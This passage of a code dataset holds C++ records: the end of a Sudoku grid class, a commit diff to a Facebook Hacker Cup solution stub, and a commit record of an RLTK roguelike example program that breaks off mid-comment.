\"|\" + subhorz2 + \"|\" + subhorz2 + \"|\" + subhorz2 + \"|\";\nconst string vert(11, '|');\n} \/\/ namespace\n\nconst SudokuGrid::set_t SudokuGrid::EMPTY;\nconst SudokuGrid::set_t SudokuGrid::U{\n   makeRange<SudokuGrid::value_t>(1, SudokuGrid::ORDER2 + 1)};\n\nostream &operator<<(ostream &os, const SudokuGrid &sdkg)\n{\n   for (int row = 0; row < SudokuGrid::ORDER2; ++row) {\n      for (int col = 0; col < SudokuGrid::ORDER2; ++col) {\n         if ((col != 0) && (col % SudokuGrid::ORDER == 0)) {\n            os << \"|\";\n         }\n         if (!sdkg.cellIsSolved(row, col)) {\n            os << \" . \";\n         }\n         else {\n            os << \" \" << sdkg._cell[row][col] << \" \";\n         }\n      }\n      os << endl;\n      if ((row != SudokuGrid::ORDER2 - 1) &&\n          (row % SudokuGrid::ORDER == (SudokuGrid::ORDER - 1))) {\n         \/\/ @TODO Remove magic number\n         os << string(29, '-') << endl;\n      }\n   }\n   os << endl;\n\n   return os;\n}\n\nstd::istream &operator>>(std::istream &is, SudokuGrid &sdkg)\n{\n   int value{0};\n\n   for (int row = 0; row < SudokuGrid::ORDER2; ++row) {\n      for (int col = 0; col < SudokuGrid::ORDER2; ++col) {\n         is >> value;\n         sdkg.add(value, row, col);\n      }\n   }\n   sdkg.calculateAllCellCandidates();\n   return is;\n}\n\nvoid writeCandidates(std::ostream &os, const SudokuGrid &sdkg)\n{\n   for (int row = 0; row < SudokuGrid::ORDER2; ++row) {\n      for (int col = 0; col < SudokuGrid::ORDER2; ++col) {\n         if (col == 0 && row % SudokuGrid::ORDER == 0 &&\n             row < SudokuGrid::ORDER2 - 1) {\n            os << horz;\n            if (row == 0) {\n               os << \" ID = \" << &sdkg << \" \" << sdkg.getID() << \" \"\n                  << (sdkg.isSolvable() ? \"\" : \" not solvable\");\n            }\n            os << endl << horz2 << endl;\n         }\n         if (col == 0)\n            os << \"| \";\n         SudokuGrid::set_t candidates = sdkg.getCellCandidates(row, col);\n         for (SudokuGrid::value_t v = 1; v <= SudokuGrid::ORDER; ++v) {\n            if (isAnElementOf(v, candidates)) {\n               os << v;\n            }\n            else {\n               candidates == SudokuGrid::EMPTY ? os << ' ' : os << '.';\n            }\n         }\n         if ((col != 0) && (col % SudokuGrid::ORDER == 2)) {\n            os << \" | \";\n         }\n         else {\n            os << \" \";\n         }\n      }\n      os << endl;\n      for (int col = 0; col < SudokuGrid::ORDER2; ++col) {\n         if (col == 0)\n            os << \"| \";\n         int pos{-1};\n         SudokuGrid::set_t candidates{sdkg.getCellCandidates(row, col)};\n         for (SudokuGrid::value_t v = SudokuGrid::ORDER + 1;\n              v <= 2 * SudokuGrid::ORDER; ++v) {\n            if (isAnElementOf(v, candidates)) {\n               os << v;\n            }\n            else {\n               if (candidates == SudokuGrid::EMPTY) {\n                  ++pos;\n                  (pos == 1) ? os << sdkg._cell[row][col] : os << ' ';\n               }\n               else {\n                  os << '.';\n               }\n            }\n         }\n         if ((col != 0) && (col % SudokuGrid::ORDER == 2)) {\n            os << \" | \";\n         }\n         else {\n            os << \" \";\n         }\n      }\n      os << endl;\n      for (int col = 0; col < SudokuGrid::ORDER2; ++col) {\n         if (col == 0)\n            os << \"| \";\n         SudokuGrid::set_t candidates{sdkg.getCellCandidates(row, col)};\n         for (SudokuGrid::value_t v = 2 * SudokuGrid::ORDER + 1;\n              v < 3 * SudokuGrid::ORDER + 1; ++v) {\n            if (isAnElementOf(v, candidates)) {\n               os << v;\n            }\n            else {\n               candidates == SudokuGrid::EMPTY ? os << ' ' : os << '.';\n            }\n         }\n         if ((col != 0) && (col % SudokuGrid::ORDER == 2)) {\n            os << \" | \";\n         }\n         else {\n            os << \" \";\n         }\n      }\n      os << endl << horz2 << endl;\n   }\n   os << horz << endl;\n}\n\nvoid writeLatex(std::ostream &os, const SudokuGrid &sdkg)\n{\n   os << \"\\n\\\\begin{sudoku}\\n\";\n   for (int row = 0; row < SudokuGrid::ORDER2; ++row) {\n      for (int col = 0; col < SudokuGrid::ORDER2; ++col) {\n         if (!sdkg.cellIsSolved(row, col)) {\n            os << \"| \";\n         }\n         else {\n            os << \"|\" << sdkg._cell[row][col];\n         }\n      }\n      os << \"|.\\n\";\n   }\n   os << \"\\\\end{sudoku}\\n\\n\";\n}\n\nSudokuGrid::SudokuGrid()\n   : _id{}\n   , _numberOfCellsSolved{0}\n   , _isSolvable{true}\n   , _cell{{}}\n   , _columnSet{{}}\n   , _rowSet{{}}\n   , _blockSet{{}}\n   , _candidates{{}}\n   , pRow{}\n   , pColumn{}\n   , pBlock{}\n{\n   for (int row = 0; row < SudokuGrid::ORDER2; ++row) {\n      for (int column = 0; column < SudokuGrid::ORDER2; ++column) {\n         _candidates[row][column] = U;\n      }\n   }\n   _columnSet.fill(U);\n   _rowSet.fill(U);\n   for (int row = 0; row < SudokuGrid::ORDER; ++row) {\n      for (int column = 0; column < SudokuGrid::ORDER; ++column) {\n         _blockSet[row][column] = U;\n      }\n   }\n   mapPointerArraysToCandidates();\n}\n\nSudokuGrid::SudokuGrid(const SudokuGrid &sdkg)\n   : _id{sdkg._id}\n   , _numberOfCellsSolved{sdkg._numberOfCellsSolved}\n   , _isSolvable{sdkg._isSolvable}\n   , _cell{{}}\n   , _columnSet{{}}\n   , _rowSet{{}}\n   , _blockSet{{}}\n   , _candidates{{}}\n   , pRow{}\n   , pColumn{}\n   , pBlock{}\n{\n   _cell = sdkg._cell;\n   _columnSet = sdkg._columnSet;\n   _rowSet = sdkg._rowSet;\n   _blockSet = sdkg._blockSet;\n   _candidates = sdkg._candidates;\n   mapPointerArraysToCandidates();\n   \/\/ writeCandidates(cout, sdkg);\n   \/\/ cout << \"COPY\" << endl;\n   \/\/ writeCandidates(cout, *this);\n}\n\nSudokuGrid &SudokuGrid::operator=(const SudokuGrid &sdkg)\n{\n   if (this != &sdkg) {\n      _id = sdkg._id;\n      _numberOfCellsSolved = sdkg._numberOfCellsSolved;\n      _isSolvable = sdkg._isSolvable;\n      _cell = sdkg._cell;\n      _columnSet = sdkg._columnSet;\n      _rowSet = sdkg._rowSet;\n      _blockSet = sdkg._blockSet;\n      _candidates = sdkg._candidates;\n      mapPointerArraysToCandidates();\n   }\n   return *this;\n}\n\nbool SudokuGrid::removeCandidates(const set_t &rem, int row, int column)\n{\n   set_t candidates{_candidates[row][column]};\n   _candidates[row][column] = _candidates[row][column] - rem;\n   return candidates != _candidates[row][column];\n}\n\nvoid SudokuGrid::add(const value_t value, int row, int column)\n{\n   if (isSolvable()) {\n      if (isAnElementOf(value, SudokuGrid::U)) {\n         \/\/ cout << \"-- Add: \" << Value << \" in [\" << Row << \"][\" << Column <<\n         \/\/ \"]\" << endl;\n         if (isAnElementOf(value, _columnSet[column]) &&\n             isAnElementOf(value, _rowSet[row]) &&\n             isAnElementOf(value, _blockSet[row \/ SudokuGrid::ORDER]\n                                           [column \/ SudokuGrid::ORDER])) {\n            _columnSet[column].erase(value);\n            _rowSet[row].erase(value);\n            _blockSet[row \/ SudokuGrid::ORDER][column \/ SudokuGrid::ORDER]\n               .erase(value);\n            _candidates[row][column] = SudokuGrid::EMPTY;\n            _cell[row][column] = value;\n            ++_numberOfCellsSolved;\n         }\n         else {\n            \/\/ cout << \"ADD ERROR\" << endl;\n            \/\/ writeCandidates(cout, *this);\n            \/\/ getchar();\n            throw std::logic_error(\n               \"-- [\" + to_string(row) + \"][\" + to_string(column) +\n               \"] Sudoku element: \" + to_string(value) + \" not in groups\");\n         }\n      }\n      else {\n         if (value != 0) {\n            throw std::logic_error(\"-- Sudoku element: \" + to_string(value) +\n                                   \" must be in the range \"\n                                   \"[1,\" +\n                                   to_string(SudokuGrid::ORDER2) + \"]\");\n         }\n         _cell[row][column] = 0;\n      }\n      calculateAllCellCandidates();\n   }\n   else {\n      cout << \"ADD to not solvable sudoku grid \" << getID() << endl;\n   }\n}\n\nvoid SudokuGrid::unsafeAdd(const value_t value, int row, int column)\n{\n   _columnSet[column].erase(value);\n   _rowSet[row].erase(value);\n   _blockSet[row \/ SudokuGrid::ORDER][column \/ SudokuGrid::ORDER].erase(value);\n   _candidates[row][column] = SudokuGrid::EMPTY;\n   _cell[row][column] = value;\n   if (value != 0) {\n      ++_numberOfCellsSolved;\n   }\n   calculateAllCellCandidates();\n}\n\n\/\/------------------------------------------------------------------------------\n\nvoid SudokuGrid::calculateAllCellCandidates()\n{\n   for (int row = 0; row < SudokuGrid::ORDER2 && _isSolvable; ++row) {\n      for (int col = 0; col < SudokuGrid::ORDER2 && _isSolvable; ++col) {\n         if (!cellIsSolved(row, col)) {\n            _candidates[row][col] = calculateCellCandidates(row, col);\n            if (_candidates[row][col].empty()) {\n               _isSolvable = false;\n            }\n         }\n      }\n   }\n}\n\nSudokuGrid::set_t SudokuGrid::calculateCellCandidates(int row, int column) const\n{\n   return _columnSet[column] * _rowSet[row] *\n          _blockSet[row \/ SudokuGrid::ORDER][column \/ SudokuGrid::ORDER];\n}\n\nvoid SudokuGrid::mapPointerArraysToCandidates()\n{\n   for (int groupIndex = 0; groupIndex < SudokuGrid::ORDER2; ++groupIndex) {\n      for (int index = 0; index < SudokuGrid::ORDER2; ++index) {\n         pRow[groupIndex][index] = &_candidates[groupIndex][index];\n         pColumn[groupIndex][index] = &_candidates[index][groupIndex];\n      }\n   }\n   for (int blockIndex = 0; blockIndex < SudokuGrid::ORDER2; ++blockIndex) {\n      int index = 0;\n      int starti = SudokuGrid::ORDER * (blockIndex \/ SudokuGrid::ORDER);\n      int startj = SudokuGrid::ORDER * (blockIndex % SudokuGrid::ORDER);\n\n      for (int i = starti; i < starti + SudokuGrid::ORDER; ++i) {\n         for (int j = startj; j < startj + SudokuGrid::ORDER; ++j) {\n            pBlock[blockIndex][index++] = &_candidates[i][j];\n         }\n      }\n   }\n}\n\n\/\/----------------------------------------------------------- eof SudokuGrid.cpp\n<|endoftext|>"}
{"text":"<commit_before> \n\/* ========================================\n\n   * File Name : 15.cpp\n\n   * Creation Date : 12-08-2020\n\n   * Last Modified : St 12. srpna 2020, 14:38:38\n\n   * Created By : Karel Ha <mathemage@gmail.com>\n\n   * URL : https:\/\/www.facebook.com\/codingcompetitions\/hacker-cup\/2018\/round-1\/problems\/A\n\n   * Points Gained (in case of online contest) :\n\n   ==========================================*\/\n\n#include <bits\/stdc++.h>\n\nusing namespace std;\n\n#define REP(I,N)   FOR(I,0,N)\n#define FOR(i, begin, end) for (__typeof(end) i = (begin) - ((begin) > (end)); i != (end) - ((begin) > (end)); i += 1 - 2 * ((begin) > (end)))\n#define ALL(A)     (A).begin(), (A).end()\n#define MSG(a) cout << #a << \" == \" << (a) << endl;\n\nconst int CLEAN = -1;\n\ntemplate <typename T>\nstring NumberToString ( T Number ) {\n  ostringstream ss;\n  ss << Number;\n  return ss.str();\n}\n\n#define ERR(args...) { vector<string> _v = split(#args, ','); err(_v.begin(), args); }\nvector<string> split(const string& s, char c) {\n  vector<string> v;\n  stringstream ss(s);\n  string x;\n  while (getline(ss, x, c))\n    v.emplace_back(x);\n  return move(v);\n}\nvoid err(vector<string>::iterator it) {}\ntemplate<typename T, typename... Args>\nvoid err(vector<string>::iterator it, T a, Args... args) {\n  cout << it -> substr((*it)[0] == ' ', it -> length()) << \" = \" << a << endl;\n  err(++it, args...);\n}\n\n#define MOD 1000000007\n\nint get_result(int N, const vector<string> & G) {\n  int result = -1;    \/\/ TODO mock result\n  return result;\n}\n\nint main() {\n  int T;\n  cin >> T;\n\/\/   MSG(T);\n\n  REP(t,T) {\n    int N;\n    cin >> N;\n\/\/     cout << endl; MSG(N);\n\n    vector<string> G(3);\n    REP(l,3) {\n      cin >> G[l];\n\/\/       MSG(G[l]);\n    }\n\n    cout << \"Case #\" << t+1 << \": \" << get_result(N, G) << endl;\n  }\n\n  return 0;\n}\n<commit_msg>Resolve necessary conditions (trivial cases)<commit_after> \n\/* ========================================\n\n   * File Name : 15.cpp\n\n   * Creation Date : 12-08-2020\n\n   * Last Modified : St 12. srpna 2020, 14:50:20\n\n   * Created By : Karel Ha <mathemage@gmail.com>\n\n   * URL : https:\/\/www.facebook.com\/codingcompetitions\/hacker-cup\/2018\/round-1\/problems\/A\n\n   * Points Gained (in case of online contest) :\n\n   ==========================================*\/\n\n#include <bits\/stdc++.h>\n\nusing namespace std;\n\n#define REP(I,N)   FOR(I,0,N)\n#define FOR(i, begin, end) for (__typeof(end) i = (begin) - ((begin) > (end)); i != (end) - ((begin) > (end)); i += 1 - 2 * ((begin) > (end)))\n#define ALL(A)     (A).begin(), (A).end()\n#define MSG(a) cout << #a << \" == \" << (a) << endl;\n\nconst int CLEAN = -1;\n\ntemplate <typename T>\nstring NumberToString ( T Number ) {\n  ostringstream ss;\n  ss << Number;\n  return ss.str();\n}\n\n#define ERR(args...) { vector<string> _v = split(#args, ','); err(_v.begin(), args); }\nvector<string> split(const string& s, char c) {\n  vector<string> v;\n  stringstream ss(s);\n  string x;\n  while (getline(ss, x, c))\n    v.emplace_back(x);\n  return move(v);\n}\nvoid err(vector<string>::iterator it) {}\ntemplate<typename T, typename... Args>\nvoid err(vector<string>::iterator it, T a, Args... args) {\n  cout << it -> substr((*it)[0] == ' ', it -> length()) << \" = \" << a << endl;\n  err(++it, args...);\n}\n\n#define MOD 1000000007\n\nint get_result(int N, const vector<string> & G) {\n  if (N % 2) return 0;\n\n  \/\/ free passage thru mid row\n  for (auto & c: G[1]) {\n    if (c != '.') return 0;\n  }\n\n  int result = -1;    \/\/ TODO mock result\n  return result;\n}\n\nint main() {\n  int T;\n  cin >> T;\n\/\/   MSG(T);\n\n  REP(t,T) {\n    int N;\n    cin >> N;\n\/\/     cout << endl; MSG(N);\n\n    vector<string> G(3);\n    REP(l,3) {\n      cin >> G[l];\n\/\/       MSG(G[l]);\n    }\n\n    cout << \"Case #\" << t+1 << \": \" << get_result(N, G) << endl;\n  }\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* RLTK (RogueLike Tool Kit) 1.00\n * Copyright (c) 2016-Present, Bracket Productions.\n * Licensed under the LGPL - see LICENSE file.\n *\n * Example 10: Not really an example yet, playing with getting the ECS working.\n *\/\n\n\/\/ You need to include the RLTK header\n#include \"..\/..\/rltk\/rltk.hpp\"\n\n\/\/ We're using a stringstream to build the hello world message.\n#include <sstream>\n#include <algorithm>\n\n\/\/ For convenience, import the whole rltk namespace. You may not want to do this\n\/\/ in larger projects, to avoid naming collisions.\nusing namespace rltk;\nusing namespace rltk::colors;\nusing std::size_t;\n\nconstexpr int map_width = 100;\nconstexpr int map_height = 100;\nconstexpr int map_size = map_width * map_height;\nint map_idx(const int x, const int y) { return (y * map_width) + x; }\nstd::vector<int> map_tiles;\nstd::vector<bool> visible;\nstd::vector<bool> revealed;\nrandom_number_generator rng;\n\nsize_t player_id;\nbool moved = true;\n\nstruct position { \n\tint x, y; \n\tvoid bounds_check() {\n\t\tif (x < 0) x = 0;\n\t\tif (x > map_width) x = map_width;\n\t\tif (y < 0) y = 0;\n\t\tif (y > map_height) y = map_height;\n\t}\n};\nstruct renderable { int glyph; color_t fg=colors::WHITE; color_t bg=colors::BLACK; };\n\nstruct navigator_helper {\n\tstatic int get_x(const position &loc) { return loc.x; }\n\tstatic int get_y(const position &loc) { return loc.y; }\n\tstatic position get_xy(const int &x, const int &y) { return position{x,y}; }\n};\n\n\/\/ Clipping info\nint left_x, right_x, top_y, bottom_y;\n\nstruct camera_system : public base_system {\n\tvirtual void configure() override {\n\t\t\/\/ Create the player\n\t\tauto player = create_entity()\n\t\t\t->assign(position{map_width\/2, map_height\/2})\n\t\t\t->assign(renderable{'@', colors::YELLOW});\n\t\tplayer_id = player->id;\n\t}\n\n\tvirtual void update(const double duration_ms) override {\n\t\t\/\/ In this case, we just want to print \"Hello World\" in white on black.\n\t\tif (console->dirty) {\n\t\t\tconsole->clear();\n\n\t\t\t\/\/ Find the camera\n\t\t\tposition * camera_loc = entity(player_id)->component<position>();\n\t\t\tleft_x = camera_loc->x - (console->term_width \/ 2);\n\t\t\tright_x = camera_loc->x + (console->term_width \/ 2);\n\t\t\ttop_y = camera_loc->y - (console->term_height\/2);\n\t\t\tbottom_y = camera_loc->y + (console->term_height\/2)+1;\n\n\t\t\tfor (int y=top_y; y<bottom_y; ++y) {\n\t\t\t\tfor (int x=left_x; x<right_x; ++x) {\n\t\t\t\t\tif (x >= 0 && x < map_width && y >= 0 && y < map_height) {\n\t\t\t\t\t\tvchar map_char{'.', colors::DARKEST_GREY, colors::BLACK};\n\t\t\t\t\t\tconst int map_index = map_idx(x,y);\n\n\t\t\t\t\t\tif (revealed[map_index]) {\n\t\t\t\t\t\t\tswitch (map_tiles[map_index]) {\n\t\t\t\t\t\t\t\tcase 0 : map_char.glyph = '.'; break;\n\t\t\t\t\t\t\t\tcase 1 : map_char.glyph = '#'; break;\n\t\t\t\t\t\t\t\tdefault : map_char.glyph = 'E'; \/\/ This shouldn't happen\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tmap_char.foreground = colors::GREY;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (visible[map_index]) map_char.foreground = colors::WHITE;\n\t\t\t\t\t\tconsole->set_char(x-left_x, y-top_y, map_char);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\t\t\n\t}\n};\n\nstruct actor_render_system : public base_system {\n\tvirtual void update(const double duration_ms) override {\n\t\teach<position, renderable>([] (entity_t &entity, position &pos, renderable &render) {\n\t\t\tconst int map_index = map_idx(pos.x, pos.y);\n\t\t\tif (visible[map_index]) {\n\t\t\t\tconsole->set_char(pos.x-left_x, pos.y-top_y, vchar{ render.glyph, render.fg, render.bg });\n\t\t\t}\n\t\t});\n\t}\n};\n\nstruct player_system : public base_system {\n\tdouble time_since_press = 100.0;\n\n\tvirtual void update(const double duration_ms) override {\n\t\ttime_since_press += duration_ms;\n\t\tposition * camera_loc = entity(player_id)->component<position>();\n\n\t\t\/\/ Add a pause between key presses\n\t\tif (time_since_press > 2.0) {\n\t\t\t\/\/ The whole \"moved\" system is destined to become a message-based system\t\t\t\n\t\t\tif (sf::Keyboard::isKeyPressed(sf::Keyboard::Left) && map_tiles[map_idx(camera_loc->x-1, camera_loc->y)]==0 ) {\n\t\t\t\tif (camera_loc->x > 0) camera_loc->x--;\n\t\t\t\tconsole->dirty = true; \/\/ To be replaced with a message when we have them\n\t\t\t\ttime_since_press = 0.0;\n\t\t\t\tmoved = true; \/\/ Also to be a message!\n\t\t\t}\n\t\t\tif (sf::Keyboard::isKeyPressed(sf::Keyboard::Right) && map_tiles[map_idx(camera_loc->x+1, camera_loc->y)]==0 ) {\n\t\t\t\tif (camera_loc->x < map_width) camera_loc->x++;\n\t\t\t\tconsole->dirty = true;\n\t\t\t\ttime_since_press = 0.0;\n\t\t\t\tmoved = true; \/\/ Also to be a message!\n\t\t\t}\n\t\t\tif (sf::Keyboard::isKeyPressed(sf::Keyboard::Up) && map_tiles[map_idx(camera_loc->x, camera_loc->y-1)]==0 ) {\n\t\t\t\tif (camera_loc->y > 0) camera_loc->y--;\n\t\t\t\tconsole->dirty = true;\n\t\t\t\ttime_since_press = 0.0;\n\t\t\t\tmoved = true; \/\/ Also to be a message!\n\t\t\t}\n\t\t\tif (sf::Keyboard::isKeyPressed(sf::Keyboard::Down) && map_tiles[map_idx(camera_loc->x, camera_loc->y+1)]==0 ) {\n\t\t\t\tif (camera_loc->y < map_width) camera_loc->y++;\n\t\t\t\tconsole->dirty = true;\n\t\t\t\ttime_since_press = 0.0;\n\t\t\t\tmoved = true; \/\/ Also to be a message!\n\t\t\t}\n\t\t}\n\t}\n};\n\nstruct visibility_system : public base_system {\n\tvirtual void update(const double duration_ms) override {\n\t\tif (moved) {\n\t\t\tposition * camera_loc = entity(player_id)->component<position>();\n\t\t\tposition camera_loc_deref = *camera_loc;\n\t\t\t\n\t\t\tstd::fill(visible.begin(), visible.end(), false);\n\t\t\tvisibility_sweep_2d<position, navigator_helper>(camera_loc_deref, 10, \n\t\t\t\t[] (position reveal) {\n\t\t\t\t\treveal.bounds_check();\n\t\t\t\t\tvisible[map_idx(reveal.x, reveal.y)] = true;\n\t\t\t\t\trevealed[map_idx(reveal.x, reveal.y)] = true;\n\t\t\t\t}, \n\t\t\t\t[] (position visibility_check) { \n\t\t\t\t\tvisibility_check.bounds_check();\n\t\t\t\t\treturn (map_tiles[map_idx(visibility_check.x, visibility_check.y)] == 0);\n\t\t\t});\t\t\t\t\n\n\t\t\tmoved = false;\n\t\t}\t\n\t}\n};\n\n\/\/ Tick is called every frame. The parameter specifies how many ms have elapsed\n\/\/ since the last time it was called.\nvoid tick(double duration_ms) {\n\tecs_tick(duration_ms);\n}\n\n\/\/ Your main function\nint main()\n{\n\t\/\/ Initialize the library. Here, we are providing plenty of into so you can see what is\n\t\/\/ available. There's also the option to use config_simple_px to configure by pixels\n\t\/\/ rather than characters.\n\t\/\/ The first parameter is the path to the font files.\n\t\/\/ The second and third parameters specify the desired console size in screen characters (80x25).\n\t\/\/ The fourth parameter is the window title.\n\t\/\/ The final parameter says that we'd like the default console to use an 8x16 VGA font. Not so great for games, but easy to read!\n\tinit(config_simple(\"..\/assets\", 80, 50, \"RLTK Hello World\", \"8x8\"));\n\t\n\t\/\/ Zero the map other than the edges\n\tmap_tiles.resize(map_size);\n\tvisible.resize(map_size);\n\trevealed.resize(map_size);\n\tstd::fill(map_tiles.begin(), map_tiles.end(), 0);\n\tstd::fill(visible.begin(), visible.end(), false);\n\tstd::fill(revealed.begin(), revealed.end(), false);\n\tfor (int i=0; i<map_width; ++i) {\n\t\tmap_tiles[map_idx(i, 0)] = 1;\n\t\tmap_tiles[map_idx(i, map_height-1)] = 1;\n\t}\n\tfor (int i=0; i<map_width; ++i) {\n\t\tmap_tiles[map_idx(0, i)] = 1;\n\t\tmap_tiles[map_idx(map_width-1, i)] = 1;\n\t}\n\t\/\/ Random debris\n\tfor (int y=1; y<map_height-1; ++y) {\n\t\tfor (int x=1; x<map_width-1; ++x) {\n\t\t\tif (rng.roll_dice(1,4)==1 && (x!=map_width\/2 || y!=map_height\/2)) map_tiles[map_idx(x,y)]=1;\n\t\t}\n\t}\n\n\t\/\/ Create our systems\n\tadd_system(std::make_unique<player_system>());\n\tadd_system(std::make_unique<visibility_system>());\n\tadd_system(std::make_unique<camera_system>());\n\tadd_system(std::make_unique<actor_render_system>());\n\n\t\/\/ Enter the main loop. \"tick\" is the function we wrote above.\n\tecs_configure();\n\trun(tick);\n\n    return 0;\n}\n<commit_msg>Quick fix<commit_after>\/* RLTK (RogueLike Tool Kit) 1.00\n * Copyright (c) 2016-Present, Bracket Productions.\n * Licensed under the LGPL - see LICENSE file.\n *\n * Example 10: Not really an example yet, playing with getting the ECS working.\n *\/\n\n\/\/ You need to include the RLTK header\n#include \"..\/..\/rltk\/rltk.hpp\"\n\n\/\/ We're using a stringstream to build the hello world message.\n#include <sstream>\n#include <algorithm>\n\n\/\/ For convenience, import the whole rltk namespace. You may not want to do this\n\/\/ in larger projects, to avoid naming collisions.\nusing namespace rltk;\nusing namespace rltk::colors;\nusing std::size_t;\n\nconstexpr int map_width = 100;\nconstexpr int map_height = 100;\nconstexpr int map_size = map_width * map_height;\nint map_idx(const int x, const int y) { return (y * map_width) + x; }\nstd::vector<int> map_tiles;\nstd::vector<bool> visible;\nstd::vector<bool> revealed;\nrandom_number_generator rng;\n\nsize_t player_id;\nbool moved = true;\n\nstruct position { \n\tint x, y; \n\tvoid bounds_check() {\n\t\tif (x < 0) x = 0;\n\t\tif (x > map_width) x = map_width;\n\t\tif (y < 0) y = 0;\n\t\tif (y > map_height) y = map_height;\n\t}\n};\nstruct renderable { int glyph; color_t fg=colors::WHITE; color_t bg=colors::BLACK; };\n\nstruct navigator_helper {\n\tstatic int get_x(const position &loc) { return loc.x; }\n\tstatic int get_y(const position &loc) { return loc.y; }\n\tstatic position get_xy(const int &x, const int &y) { return position{x,y}; }\n};\n\n\/\/ Clipping info\nint left_x, right_x, top_y, bottom_y;\n\nstruct camera_system : public base_system {\n\tvirtual void configure() override {\n\t\t\/\/ Create the player\n\t\tauto player = create_entity()\n\t\t\t->assign(position{map_width\/2, map_height\/2})\n\t\t\t->assign(renderable{'@', colors::YELLOW});\n\t\tplayer_id = player->id;\n\t}\n\n\tvirtual void update(const double duration_ms) override {\n\t\t\/\/ In this case, we just want to print \"Hello World\" in white on black.\n\t\tif (console->dirty) {\n\t\t\tconsole->clear();\n\n\t\t\t\/\/ Find the camera\n\t\t\tposition * camera_loc = entity(player_id)->component<position>();\n\t\t\tleft_x = camera_loc->x - (console->term_width \/ 2);\n\t\t\tright_x = camera_loc->x + (console->term_width \/ 2);\n\t\t\ttop_y = camera_loc->y - (console->term_height\/2);\n\t\t\tbottom_y = camera_loc->y + (console->term_height\/2)+1;\n\n\t\t\tfor (int y=top_y; y<bottom_y; ++y) {\n\t\t\t\tfor (int x=left_x; x<right_x; ++x) {\n\t\t\t\t\tif (x >= 0 && x < map_width && y >= 0 && y < map_height) {\n\t\t\t\t\t\tvchar map_char{'.', colors::DARKEST_GREY, colors::BLACK};\n\t\t\t\t\t\tconst int map_index = map_idx(x,y);\n\n\t\t\t\t\t\tif (revealed[map_index]) {\n\t\t\t\t\t\t\tswitch (map_tiles[map_index]) {\n\t\t\t\t\t\t\t\tcase 0 : map_char.glyph = '.'; break;\n\t\t\t\t\t\t\t\tcase 1 : map_char.glyph = '#'; break;\n\t\t\t\t\t\t\t\tdefault : map_char.glyph = 'E'; \/\/ This shouldn't happen\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tmap_char.foreground = colors::GREY;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (visible[map_index]) map_char.foreground = colors::WHITE;\n\t\t\t\t\t\tconsole->set_char(x-left_x, y-top_y, map_char);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\t\t\n\t}\n};\n\nstruct actor_render_system : public base_system {\n\tvirtual void update(const double duration_ms) override {\n\t\teach<position, renderable>([] (entity_t &entity, position &pos, renderable &render) {\n\t\t\tconst int map_index = map_idx(pos.x, pos.y);\n\t\t\tif (visible[map_index]) {\n\t\t\t\tconsole->set_char(pos.x-left_x, pos.y-top_y, vchar{ render.glyph, render.fg, render.bg });\n\t\t\t}\n\t\t});\n\t}\n};\n\nstruct player_system : public base_system {\n\tdouble time_since_press = 100.0;\n\n\tvirtual void update(const double duration_ms) override {\n\t\ttime_since_press += duration_ms;\n\t\tposition * camera_loc = entity(player_id)->component<position>();\n\n\t\t\/\/ Add a pause between key presses\n\t\tif (time_since_press > 2.0) {\n\t\t\t\/\/ The whole \"moved\" system is destined to become a message-based system\t\t\t\n\t\t\tif (sf::Keyboard::isKeyPressed(sf::Keyboard::Left) && map_tiles[map_idx(camera_loc->x-1, camera_loc->y)]==0 ) {\n\t\t\t\tif (camera_loc->x > 0) camera_loc->x--;\n\t\t\t\tconsole->dirty = true; \/\/ To be replaced with a message when we have them\n\t\t\t\ttime_since_press = 0.0;\n\t\t\t\tmoved = true; \/\/ Also to be a message!\n\t\t\t}\n\t\t\tif (sf::Keyboard::isKeyPressed(sf::Keyboard::Right) && map_tiles[map_idx(camera_loc->x+1, camera_loc->y)]==0 ) {\n\t\t\t\tif (camera_loc->x < map_width) camera_loc->x++;\n\t\t\t\tconsole->dirty = true;\n\t\t\t\ttime_since_press = 0.0;\n\t\t\t\tmoved = true; \/\/ Also to be a message!\n\t\t\t}\n\t\t\tif (sf::Keyboard::isKeyPressed(sf::Keyboard::Up) && map_tiles[map_idx(camera_loc->x, camera_loc->y-1)]==0 ) {\n\t\t\t\tif (camera_loc->y > 0) camera_loc->y--;\n\t\t\t\tconsole->dirty = true;\n\t\t\t\ttime_since_press = 0.0;\n\t\t\t\tmoved = true; \/\/ Also to be a message!\n\t\t\t}\n\t\t\tif (sf::Keyboard::isKeyPressed(sf::Keyboard::Down) && map_tiles[map_idx(camera_loc->x, camera_loc->y+1)]==0 ) {\n\t\t\t\tif (camera_loc->y < map_width) camera_loc->y++;\n\t\t\t\tconsole->dirty = true;\n\t\t\t\ttime_since_press = 0.0;\n\t\t\t\tmoved = true; \/\/ Also to be a message!\n\t\t\t}\n\t\t}\n\t}\n};\n\nstruct visibility_system : public base_system {\n\tvirtual void update(const double duration_ms) override {\n\t\tif (moved) {\n\t\t\tposition * camera_loc = entity(player_id)->component<position>();\n\t\t\tposition camera_loc_deref = *camera_loc;\n\n\t\t\tstd::fill(visible.begin(), visible.end(), false);\n\t\t\tvisibility_sweep_2d<position, navigator_helper>(camera_loc_deref, 10, \n\t\t\t\t[] (position reveal) {\n\t\t\t\t\treveal.bounds_check();\n\t\t\t\t\tvisible[map_idx(reveal.x, reveal.y)] = true;\n\t\t\t\t\trevealed[map_idx(reveal.x, reveal.y)] = true;\n\t\t\t\t}, \n\t\t\t\t[] (position visibility_check) { \n\t\t\t\t\tvisibility_check.bounds_check();\n\t\t\t\t\treturn (map_tiles[map_idx(visibility_check.x, visibility_check.y)] == 0);\n\t\t\t});\t\t\t\t\n\n\t\t\tmoved = false;\n\t\t}\t\n\t}\n};\n\n\/\/ Tick is called every frame. The parameter specifies how many ms have elapsed\n\/\/ since the last time it was called.\nvoid tick(double duration_ms) {\n\tecs_tick(duration_ms);\n}\n\n\/\/ Your main function\nint main()\n{\n\t\/\/ Initialize the library. Here, we are providing plenty of into so you can see what is\n\t\/\/ available. There's also the option to use config_simple_px to configure by pixels\n\t\/\/ rather than characters.\n\t\/\/ The first parameter is the path to the font files.\n\t\/\/ The second and third parameters specify the desired console size in screen characters (80x25).\n\t\/\/ The fourth parameter is the 